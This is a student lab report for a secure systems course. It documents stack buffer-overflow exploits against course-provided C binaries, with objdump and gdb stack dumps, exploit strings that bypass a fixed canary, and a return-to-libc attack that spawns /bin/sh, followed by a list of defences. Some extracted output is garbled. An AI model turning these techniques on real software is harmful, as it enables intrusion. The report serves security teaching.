SECURE SYSTEMS ENGINEERING

Lab Report on Binary Exploitation using buffer overflow

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CS6570 - LAB 1 Report

Introduction

In this assignment we will be exploiting certain vulnerabilities in C and using them to run our payload. We will overflow the buffer and write into the stack to change the program flow as per our convenience.

Lab_1

Aim

Given source code $(lab1_1.c)$ and executable $(lab1_1)$. We have to come up with a exploit string such that we are able to execute the exploit() function in the program.

Our Approach

- Generate the *dump* file for the given executable using the command objdump -d lab1_1 > dump.
- Look through the dump file to get the address of the function exploit() and the return address(address of instruction just after the call to welcome()). The line number 634 indicates the instruction immediately after the call to welcome.

```
804891c:
                                                   (%eax),%eax
804891e:
8048921:
                                                   $0xc,%esp
                                                   %eax
8048922:
8048927:
            e8 6e ff ff ff
83 c4 10
                                                  8048895 <welcome>
            b8 00 00 00 00
804892a:
                                                   $0x0.%eax
804892f
8048932
8048933
             8d 61 fc
                                                   -0x4(%ecx),%esp
```




Figure 1: Return Address = 0x8048927

Figure 2: Exit function Address = 0x0804e300

• Now we use gdb to look through the stack, registers and value of local variables at different stages of execution using breakpoints. The breakpoints are added just after strcpy to analyse the stack after input, before the welcome function exits, to know the location of return address.

- We run the **list** command to look at the source code and get the value of the canary. This value is converted to hexadecimal 0 x55565758 and is located on the stack. We must ensure to keep this canary intack while we build out exploit string.
- We give some random input and add a break point after the strcpy() is executed. Here we try to examine the stack content for the location of the canary and return address.
- We use this information to know how many fill-in characters should be given in our exploit string.

(gdb) x/32x \$6	esp			
0xffffcf40:	0x41414141	0x00414141	0x0000001	0x55565758
0xffffcf50:	0x00000002	0xffffd054	0xffffcf78	0x08048927
0xffffcf60:	0xffffd265	0×00000044	0x0000000	0x00000002
0xffffcf70:	0x080ea070	0xffffcf90	0x00000000	0x08048b61
0xffffcf80:	0x080ea00c	0x00000044	0x00000000	0x08048b61
0xffffcf90:	0x00000002	0xffffd054	0xffffd060	0xffffcfb4
0xffffcfa0:	0×00000000	0x00000002	0xffffd054	0x080488e1
0xffffcfb0:	0×00000000	0x080481a8	0x080ea00c	0x00000044

Figure 3: Canary at 0xffffcfac, Return Address at 0xffffcfbc

• Now we create an exploit string such that the value of the canary isn't changed and the return address is changed to the address of exploit() function.

Expoit String

```
1 #!/bin/bash
2 python -c 'print("AAAAAAAAAAAAXWVUAAAAAAAAAA|\x88\x04\x08\x03\xe3\x04\x08")' > exploit_string
```

Executing the exploit String

• As we can see in the figure the exploit doesn't change the canary (canary = 0x55565758) in the stack

- We were also able to change the return address in the stack to the address of exploit() function (at 0xffffcf8c in the stack)
- Note: if we have 0×00 in our hexadecimal value then it cannot be stored in the stack, since it stops reading at 0×00 . Hence, we need to find better methods to implement them.
- The address of exit(), has 0×00 so we analysized the function definition and found that the first instruction can be ignored. Hence, by referring to the **next instruction's** address in the **exit()** function, we were able exit normally.
- Our exploit string thus successfully changed the return address in the **exploit** function stack frame to $0 \times 0804e303$ (the exit()).
- Now during the return from exploit function as we had pushed the address of exit (next instruction in exit) into the stack. The \$esp which is pointing at this address (can be seen in the below figure) is taken to set the value of \$eip to 0x0804e303 and later is decremented. The \$eip on execution performs a clean exit.

```
(gdb) info registers $ebp $eip $esp
                0x41414141
                                   0x41414141
ebp
                0x8048894
                                   0x8048894 <exploit+24>
eip
                0xffffcfa0
                                   0xffffcfa0
esp
(gdb) x/32x $esp
0xffffcfa0:
0xffffcfb0:
                 0x0804e303
                                   0x00000000
                                                    0x00000000
                                                                      0x00000002
                 0x080ea070
                                   0xffffcfd0
                                                    0x00000000
                                                                      0x08048b61
0xffffcfc0:
0xffffcfd0:
                 0x080ea00c
                                   0x00000044
                                                    0×00000000
                                                                      0x08048b61
                 0x00000002
                                   0xffffd094
                                                    0xffffd0a0
                                                                      0xffffcff4
0xffffcfe0:
                 0×00000000
                                   0x00000002
                                                    0xffffd094
                                                                      0x080488e1
0xffffcff0:
                                                    0x080ea00c
                                                                      0×00000044
                 0x00000000
                                   0x080481a8
0xffffd000:
                 0×00000000
                                   0x954422ca
                                                    0x63cdcd25
                                                                      0×00000000
                 0x00000000
                                                    0×00000000
0xffffd010:
                                   0×00000000
                                                                      0x0000000
```

Figure 4: This is the stack and register info just before we execute the ret command on the exploit function

Output

```
esctf@osboxes:~/Documents/Lab1/lab1/lab1_1$ ./lab1_1 $(cat exploit_string1)
Welcome group AAAAAAAAAAAXWVUAAAAAAAAAAAA|&鹽,j勖pot$鹽oooofofofofofooUW1oVSo闆
Exploit succesfull...
esctf@osboxes:~/Documents/Lab1/lab1/lab1_1$
```

Lab_2

Aim

Given source code $lab1_2.c$ and executable $lab1_2.$ We have to come up with the exploit string such that we are able to spawn a shell(the binary calls $\bin\sh$).

Our Approach

- Generate the dump file for the given executable using the command objdump -d lab2_2 > dump. We analyse it to find the return address after the call to get_name(). This is used to identify the location on stack where return address is present.
- To enter the shell, we need to call the **system** function with **\bin\sh** as its argument. Hence we find the system function in gdb using the command p system. Similarly, we can also find the address of the **exit** function to implement our clean exit. (The command p exit)



```
(gdb) p exit
$6 = {<text variable, no debug info>} 0xf7e337c0 <exit>
```

Figure 5: System Address = 0x08048340

Figure 6: exit address = 0xf7e337c0


- To find the address of the string **\bin\sh** (argument to the system call) we use the *find* command, find s_addr, e_addr,"\bin\sh"
- The command "info proc map" gives us the address mapping of processes. From here we get start and end address of libc, which is used as the arguments for the find command. We search for \bin\sh from 0xf7e05000 to 0xf7fb6000. We find the address of the string to be 0xf7f5e12b.

```
(gdb) info proc map process 7707

Mapped address spaces:

Start Addr End Addr Size 0x8048000 0x8049000 0x1000 0x8049000 0x1000 0x0049000 0x1000 0x0049000 0x1000 0x77e05000 0x7fe05000 0x1000 0x7fe05000 0x7fb2000 0x1000 0x7fb2000 0x1000 0x1000 0x7fb2000 0x1000 0x1000 0x1000 0x7fb2000 0x1000 0x1000
```

- Now we look at the stack content make our input string such that the return address in stack is changed to address of system() function (which we already found), the arguments of the system function should be the address of the string \bin\sh, and the return address from system function should point to the address of exit.
- We have to remember that after calling a function, the esp points to return address and esp+4 points to the first argument. This is kept in mind while creating the exploit string.






Figure 7: Stack before the ret statement in get_name function

Figure 8: Stack after eip has loaded system's address

Exploit String

- 1 #!/bin/bash
 - 2 python -c 'print("AAAABBBBCCCCDDDD\x21\x43\x65\x87EEEEFFFFGGGG\x40

Execution of Exploit String

• We add break points just before and after strcpy function to see that our exploit string changed the return address from get_name to the address of **system** function. We can also see that we pushed the address of \bin\sh 4 bytes after the \$esp (i.e as arguments to $\operatorname{system}()$). At $\operatorname{\$esp}$ we have the address to exit, that acts as the return address when we return from the $\operatorname{system}()$ function.

```
reakpoint 2, get_name (input=0xf7e337c0 <exit> "\350\304\353\016")
at lab1.c:12
at lab1.c:12
12 in lab1.c
(gdb) x/32x $esp
0xffffcfa0: 0xffffffff
0xffffcfb0: 0x42424242
                                                    0x0000002f
0x43434343
                                                                              0xf7e11dc8
0x4444444
                                                                                                        0x87654321
                         0x45454545
0xf7e337c0
                                                    0x46464646
0xf7f5e12b
                                                                              0x47474747
                                                                                                         0x08048340
                                                                              0xffffd000
 exffffcfd0:
                                                                                                         0x08048531
                         0xf7fb53dc
0xf7fb5000
 0xffffcfe0:
0xffffcff0:
                                                    0xffffd000
0xf7fb5000
                                                                              0x00000000
0x00000000
                                                                                                        0xf7e1d647
0xf7e1d647
                                                     0xffffd094
                          0x00000000
```




Figure 9: Stack just before strcpy

Figure 10: Stack after strcpy

• We break at the ret instruction of the get_name() function and look at the stack content. We know that the value at the \$esp is the return address which points to the address of system() function.

```
add
   0x080484ab <+64>:
                                 $0x10,%esp
   0x080484ae <+67>:
                          nop
   0x080484af <+68>:
                          leave
  -Type <return> to continue, or q <return> to quit---
=> 0x080484b0 <+69>:
                          ret
End of assembler dump.
(gdb) info registers $eip $esp $ebp
                                  0x80484b0 <get_name+69>
eip
                0x80484b0
                0xffffcfcc
0x47474747
                                   0xffffcfcc
esp
                                   0x47474747
ebp
(gdb) x/32x $esp
0xffffcfcc:
                 0x08048340
                                   0xf7e337c0
                                                                      0xffffd000
                                                    0xf7f5e12b
                                                    0xffffd000
0xf7fb5000
                 0x08048531
0xffffcfdc:
                                   0xf7fb53dc
                                                                     0x00000000
                                   0xf7fb5000
0xffffcfec:
                 0xf7e1d647
                                                                     0x00000000
0xffffcffc:
                 0xf7e1d647
                                   0x00000002
                                                    0xffffd094
                                                                      0xffffd0a0
0xffffd00c:
                 0x00000000
                                   0x00000000
                                                    0x00000000
                                                                      0xf7fb5000
0xffffd01c:
                 0xf7ffdc04
                                   0xf7ffd000
                                                    0x00000000
                                                                     0xf7fb5000
                                                                      0x8dc6541f
0xffffd02c:
                 0xf7fb5000
                                   0x00000000
                                                    0xb1ca5a0f
0xffffd03c:
                 0x00000000
                                  0x00000000
                                                    0x00000000
                                                                     0x00000002
```

Output

```
esctf@osboxes:~/Documents/Lab1/lab1/lab1_2$ ./lab1_2 $(cat exploit_string2)
dumpfile exploit_string2 gen2.py lab1_2 lab1_2.c
Welcome group AAAABBBBCCCCDDDD!CeoEEEEFFFFGGGG@oo7oo+ooo.
$ ls
dumpfile exploit_string2 gen2.py lab1_2 lab1_2.c
$ ls -al
total 48
drwxrwxr-x 3 esctf esctf 4096 Feb 9 11:55 .
drwxrwxr-x 4 esctf esctf 4096 Feb 3 00:40 .
-rw-rw-r-- 1 esctf esctf 11940 Feb 9 11:55 dumpfile
-rw-rw-r-- 1 esctf esctf 45 Feb 8 03:42 exploit_string2
-rw-rw-r-- 1 esctf esctf 135 Feb 8 03:42 gen2.py
-rwxrwxr-x 1 esctf esctf 424 Jan 31 04:06 lab1_2
-rw-rw-r-- 1 esctf esctf 4096 Feb 8 04:00 .vscode
$ extt
esctf@osboxes:~/Documents/Lab1/lab1/lab1_2$
```

Ways to Secure

- One way to secure is to simply use languages which do not allow such vulnerabilities. In a language like C, we are given access to stack and memory which makes it more vulnerable to such attacks. We can instead use languages like rust, java, python and .net which are not prone to such vulnerabilities.
- By using **runtime OS protection** (runtime array bounds checking).

 This ensures that every program run is within the buffer space or memory available and checks every data written into the memory.
- Instead of having a fixed value for the canary we can have a **random canary**. Hence the value of the canary changes on every execution making it more difficult for the attacker to generate an exploit string.
- Another way is to use **ASLR** (Address Space Layout Randomization).

 ASLR increases the control flow integrity of a system by randomizing the offsets it uses in memory layouts. Attackers trying to do the return to libc attack must locate the payload first, if aslr is enabled then makes it difficult for the attacker to locate the payload in the memory.
- Another alternative is instead of using functions like strcpy() and strcat() which are prone to buffer overflow attacks we can use their **strn- versions**. These versions only write to maximum size of the target buffer. Ex: strncat(), strncopy()